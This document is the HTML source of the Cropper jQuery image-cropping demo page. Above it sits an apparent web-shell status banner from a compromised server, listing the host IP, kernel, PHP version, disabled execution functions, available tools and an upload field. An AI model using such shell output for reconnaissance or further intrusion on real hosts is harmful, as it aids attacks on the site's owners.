| Server IP : 202.29.229.35 / Your IP : 3.129.73.179 Web Server : Apache System : Linux aapanel2 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64 User : www ( 1001) PHP Version : 5.5.38 Disable Function : passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv MySQL : ON | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /www/wwwroot/www.ivecr2.ac.th/stdcard/cropper/demo/ |
Upload File : |
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1">
<meta name="description" content="A basic demo of Cropper.">
<meta name="keywords" content="HTML, CSS, JS, JavaScript, jQuery plugin, image cropping, front-end, frontend, web development">
<meta name="author" content="Fengyuan Chen">
<title>Cropper</title>
<link href="../assets/css/bootstrap.min.css" rel="stylesheet">
<link href="../dist/cropper.css" rel="stylesheet">
<link href="css/main.css" rel="stylesheet">
<!-- HTML5 shim and Respond.js for IE8 support of HTML5 elements and media queries -->
<!--[if lt IE 9]>
<script src="https://oss.maxcdn.com/html5shiv/3.7.2/html5shiv.min.js"></script>
<script src="https://oss.maxcdn.com/respond/1.4.2/respond.min.js"></script>
<![endif]-->
</head>
<body>
<!-- header -->
<header class="navbar navbar-inverse navbar-static-top docs-header" id="top">
<div class="container">
<div class="navbar-header">
<button class="navbar-toggle" data-target="#navbar-collapse-1" data-toggle="collapse" type="button">
<span class="sr-only">Toggle navigation</span>
<span class="icon-bar"></span>
<span class="icon-bar"></span>
<span class="icon-bar"></span>
</button>
<a class="navbar-brand" href="javascript:void(0);">Cropper</a>
</div>
<nav class="collapse navbar-collapse" id="navbar-collapse-1" role="navigation">
<p class="navbar-text">A simple jQuery image cropping plugin.</p>
<ul class="nav navbar-nav navbar-right">
<li><a href="http://github.com/fengyuanchen/cropper/blob/master/README.md">Docs</a></li>
<li><a href="http://github.com/fengyuanchen/cropper">Github</a></li>
<li><a href="http://chenfengyuan.com">About</a></li>
</ul>
</nav>
</div>
</header>
<!-- Content -->
<div class="container">
<div class="row">
<div class="col-md-9">
<!-- <h3 class="page-header">Demo:</h3> -->
<div class="img-container">
<img src="../assets/img/picture.jpg" alt="Picture">
</div>
</div>
<div class="col-md-3">
<!-- <h3 class="page-header">Preview:</h3> -->
<div class="docs-preview clearfix">
<div class="img-preview preview-lg"></div>
<div class="img-preview preview-md"></div>
<div class="img-preview preview-sm"></div>
<div class="img-preview preview-xs"></div>
</div>
<!-- <h3 class="page-header">Data:</h3> -->
<div class="docs-data">
<div class="input-group">
<label class="input-group-addon" for="dataX">X</label>
<input class="form-control" id="dataX" type="text" placeholder="x">
<span class="input-group-addon">px</span>
</div>
<div class="input-group">
<label class="input-group-addon" for="dataY">Y</label>
<input class="form-control" id="dataY" type="text" placeholder="y">
<span class="input-group-addon">px</span>
</div>
<div class="input-group">
<label class="input-group-addon" for="dataWidth">Width</label>
<input class="form-control" id="dataWidth" type="text" placeholder="width">
<span class="input-group-addon">px</span>
</div>
<div class="input-group">
<label class="input-group-addon" for="dataHeight">Height</label>
<input class="form-control" id="dataHeight" type="text" placeholder="height">
<span class="input-group-addon">px</span>
</div>
<div class="input-group">
<label class="input-group-addon" for="dataRotate">Rotate</label>
<input class="form-control" id="dataRotate" type="text" placeholder="rotate">
<span class="input-group-addon">deg</span>
</div>
</div>
</div>
</div>
<div class="row">
<div class="col-md-9 docs-buttons">
<!-- <h3 class="page-header">Toolbar:</h3> -->
<div class="btn-group">
<button class="btn btn-primary" data-method="setDragMode" data-option="move" type="button" title="Move">
<span class="docs-tooltip" data-toggle="tooltip" title="$().cropper("setDragMode", "move")">
<span class="icon icon-move"></span>
</span>
</button>
<button class="btn btn-primary" data-method="setDragMode" data-option="crop" type="button" title="Crop">
<span class="docs-tooltip" data-toggle="tooltip" title="$().cropper("setDragMode", "crop")">
<span class="icon icon-crop"></span>
</span>
</button>
<button class="btn btn-primary" data-method="zoom" data-option="0.1" type="button" title="Zoom In">
<span class="docs-tooltip" data-toggle="tooltip" title="$().cropper("zoom", 0.1)">
<span class="icon icon-zoom-in"></span>
</span>
</button>
<button class="btn btn-primary" data-method="zoom" data-option="-0.1" type="button" title="Zoom Out">
<span class="docs-tooltip" data-toggle="tooltip" title="$().cropper("zoom", -0.1)">
<span class="icon icon-zoom-out"></span>
</span>
</button>
<button class="btn btn-primary" data-method="rotate" data-option="-45" type="button" title="Rotate Left">
<span class="docs-tooltip" data-toggle="tooltip" title="$().cropper("rotate", -45)">
<span class="icon icon-rotate-left"></span>
</span>
</button>
<button class="btn btn-primary" data-method="rotate" data-option="45" type="button" title="Rotate Right">
<span class="docs-tooltip" data-toggle="tooltip" title="$().cropper("rotate", 45)">
<span class="icon icon-rotate-right"></span>
</span>
</button>
</div>
<div class="btn-group">
<button class="btn btn-primary" data-method="disable" type="button" title="Disable">
<span class="docs-tooltip" data-toggle="tooltip" title="$().cropper("disable")">
<span class="icon icon-lock"></span>
</span>
</button>
<button class="btn btn-primary" data-method="enable" type="button" title="Enable">
<span class="docs-tooltip" data-toggle="tooltip" title="$().cropper("enable")">
<span class="icon icon-unlock"></span>
</span>
</button>
<button class="btn btn-primary" data-method="clear" type="button" title="Clear">
<span class="docs-tooltip" data-toggle="tooltip" title="$().cropper("clear")">
<span class="icon icon-remove"></span>
</span>
</button>
<button class="btn btn-primary" data-method="reset" type="button" title="Reset">
<span class="docs-tooltip" data-toggle="tooltip" title="$().cropper("reset")">
<span class="icon icon-refresh"></span>
</span>
</button>
<label class="btn btn-primary btn-upload" for="inputImage" title="Upload image file">
<input class="sr-only" id="inputImage" name="file" type="file" accept="image/*">
<span class="docs-tooltip" data-toggle="tooltip" title="Import image with Blob URLs">
<span class="icon icon-upload"></span>
</span>
</label>
<button class="btn btn-primary" data-method="destroy" type="button" title="Destroy">
<span class="docs-tooltip" data-toggle="tooltip" title="$().cropper("destroy")">
<span class="icon icon-off"></span>
</span>
</button>
</div>
<div class="btn-group btn-group-crop">
<button class="btn btn-primary" data-method="getDataURL" type="button">
<span class="docs-tooltip" data-toggle="tooltip" title="$().cropper("getDataURL")">
Get Data URL
</span>
</button>
<button class="btn btn-primary" data-method="getDataURL" data-option="image/jpeg" type="button">
<span class="docs-tooltip" data-toggle="tooltip" title="$().cropper("getDataURL", "image/jpeg")">
JPG
</span>
</button>
<!-- <button class="btn btn-primary" data-method="getDataURL" data-option="image/webp" type="button">
<span class="docs-tooltip" data-toggle="tooltip" title="$().cropper("getDataURL", "image/webp")">
WEBP
</span>
</button> -->
<button class="btn btn-primary" data-method="getDataURL" data-option="{ "width": 160, "height": 90 }" type="button">
<span class="docs-tooltip" data-toggle="tooltip" title="$().cropper("getDataURL", { "width": 160, "height": 90 })">
160 × 90
</span>
</button>
<button class="btn btn-primary" data-method="getDataURL" data-option="{ "width": 320, "height": 180 }" type="button">
<span class="docs-tooltip" data-toggle="tooltip" title="$().cropper("getDataURL", { "width": 320, "height": 180 })">
320 × 180
</span>
</button>
</div>
<!-- Show the cropped image in modal -->
<div class="modal fade docs-cropped" id="getDataURLModal" aria-hidden="true" aria-labelledby="getDataURLTitle" role="dialog" tabindex="-1">
<div class="modal-dialog">
<div class="modal-content">
<div class="modal-header">
<button class="close" data-dismiss="modal" type="button" aria-hidden="true">×</button>
<h4 class="modal-title" id="getDataURLTitle">Cropped</h4>
</div>
<div class="modal-body"></div>
<!-- <div class="modal-footer">
<button class="btn btn-primary" data-dismiss="modal" type="button">Close</button>
</div> -->
</div>
</div>
</div><!-- /.modal -->
<div class="btn-group">
<button class="btn btn-primary" data-method="getData" data-option="" data-target="#putData" type="button">
<span class="docs-tooltip" data-toggle="tooltip" title="$().cropper("getData")">
Get Data
</span>
</button>
<button class="btn btn-primary" data-method="getData" data-option="true" data-target="#putData" type="button">
<span class="docs-tooltip" data-toggle="tooltip" title="$().cropper("getData", true)">
Rounded
</span>
</button>
</div>
<div class="btn-group">
<button class="btn btn-primary" data-method="getImageData" data-option="" data-target="#putData" type="button">
<span class="docs-tooltip" data-toggle="tooltip" title="$().cropper("getImageData")">
Get Image Data
</span>
</button>
<button class="btn btn-primary" data-method="getImageData" data-option="true" data-target="#putData" type="button">
<span class="docs-tooltip" data-toggle="tooltip" title="$().cropper("getImageData", true)">
All
</span>
</button>
</div>
<button class="btn btn-primary" data-method="setImageData" data-target="#putData" type="button">
<span class="docs-tooltip" data-toggle="tooltip" title="$().cropper("setImageData", data)">
Set Image Data
</span>
</button>
<button class="btn btn-primary" data-method="getCropBoxData" data-option="" data-target="#putData" type="button">
<span class="docs-tooltip" data-toggle="tooltip" title="$().cropper("getCropBoxData")">
Get Crop Box Data
</span>
</button>
<button class="btn btn-primary" data-method="setCropBoxData" data-target="#putData" type="button">
<span class="docs-tooltip" data-toggle="tooltip" title="$().cropper("setCropBoxData", data)">
Set Crop Box Data
</span>
</button>
<input class="form-control" id="putData" type="text" placeholder="Get data to here or set data with this value">
</div><!-- /.docs-buttons -->
<div class="col-md-3 docs-toggles">
<!-- <h3 class="page-header">Toggles:</h3> -->
<div class="btn-group btn-group-justified" data-toggle="buttons">
<label class="btn btn-primary active" data-method="setAspectRatio" data-option="1.7777777777777777" title="Set Aspect Ratio">
<input class="sr-only" id="aspestRatio1" name="aspestRatio" value="1.7777777777777777" type="radio">
<span class="docs-tooltip" data-toggle="tooltip" title="$().cropper("setAspectRatio", 16 / 9)">
16:9
</span>
</label>
<label class="btn btn-primary" data-method="setAspectRatio" data-option="1.3333333333333333" title="Set Aspect Ratio">
<input class="sr-only" id="aspestRatio2" name="aspestRatio" value="1.3333333333333333" type="radio">
<span class="docs-tooltip" data-toggle="tooltip" title="$().cropper("setAspectRatio", 4 / 3)">
4:3
</span>
</label>
<label class="btn btn-primary" data-method="setAspectRatio" data-option="1" title="Set Aspect Ratio">
<input class="sr-only" id="aspestRatio3" name="aspestRatio" value="1" type="radio">
<span class="docs-tooltip" data-toggle="tooltip" title="$().cropper("setAspectRatio", 1 / 1)">
1:1
</span>
</label>
<label class="btn btn-primary" data-method="setAspectRatio" data-option="0.6666666666666666" title="Set Aspect Ratio">
<input class="sr-only" id="aspestRatio4" name="aspestRatio" value="0.6666666666666666" type="radio">
<span class="docs-tooltip" data-toggle="tooltip" title="$().cropper("setAspectRatio", 2 / 3)">
2:3
</span>
</label>
<label class="btn btn-primary" data-method="setAspectRatio" data-option="NaN" title="Set Aspect Ratio">
<input class="sr-only" id="aspestRatio5" name="aspestRatio" value="NaN" type="radio">
<span class="docs-tooltip" data-toggle="tooltip" title="$().cropper("setAspectRatio", NaN)">
Free
</span>
</label>
</div>
<div class="dropdown dropup docs-options">
<button class="btn btn-primary btn-block dropdown-toggle" id="toggleOptions" type="button" data-toggle="dropdown" aria-expanded="true">
Toggle Options
<span class="caret"></span>
</button>
<ul class="dropdown-menu" role="menu" aria-labelledby="toggleOptions">
<li role="presentation">
<label class="checkbox-inline">
<input type="checkbox" name="option" value="global" checked>
global
</label>
</li>
<li role="presentation">
<label class="checkbox-inline">
<input type="checkbox" name="option" value="responsive" checked>
responsive
</label>
</li>
<li role="presentation">
<label class="checkbox-inline">
<input type="checkbox" name="option" value="checkImageOrigin" checked>
checkImageOrigin
</label>
</li>
<li role="presentation">
<label class="checkbox-inline">
<input type="checkbox" name="option" value="modal" checked>
modal
</label>
</li>
<li role="presentation">
<label class="checkbox-inline">
<input type="checkbox" name="option" value="guides" checked>
guides
</label>
</li>
<li role="presentation">
<label class="checkbox-inline">
<input type="checkbox" name="option" value="highlight" checked>
highlight
</label>
</li>
<li role="presentation">
<label class="checkbox-inline">
<input type="checkbox" name="option" value="background" checked>
background
</label>
</li>
<li role="presentation">
<label class="checkbox-inline">
<input type="checkbox" name="option" value="autoCrop" checked>
autoCrop
</label>
</li>
<li role="presentation">
<label class="checkbox-inline">
<input type="checkbox" name="option" value="dragCrop" checked>
dragCrop
</label>
</li>
<li role="presentation">
<label class="checkbox-inline">
<input type="checkbox" name="option" value="movable" checked>
movable
</label>
</li>
<li role="presentation">
<label class="checkbox-inline">
<input type="checkbox" name="option" value="resizable" checked>
resizable
</label>
</li>
<li role="presentation">
<label class="checkbox-inline">
<input type="checkbox" name="option" value="rotatable" checked>
rotatable
</label>
</li>
<li role="presentation">
<label class="checkbox-inline">
<input type="checkbox" name="option" value="zoomable" checked>
zoomable
</label>
</li>
<li role="presentation">
<label class="checkbox-inline">
<input type="checkbox" name="option" value="touchDragZoom" checked>
touchDragZoom
</label>
</li>
<li role="presentation">
<label class="checkbox-inline">
<input type="checkbox" name="option" value="mouseWheelZoom" checked>
mouseWheelZoom
</label>
</li>
</ul>
</div><!-- /.dropdown -->
</div><!-- /.docs-toggles -->
</div>
</div>
<!-- Alert -->
<div class="docs-alert"><span class="warning message"></span></div>
<!-- Scripts -->
<script src="../assets/js/jquery.min.js"></script>
<script src="../assets/js/bootstrap.min.js"></script>
<script src="../dist/cropper.js"></script>
<script src="js/main.js"></script>
</body>
</html>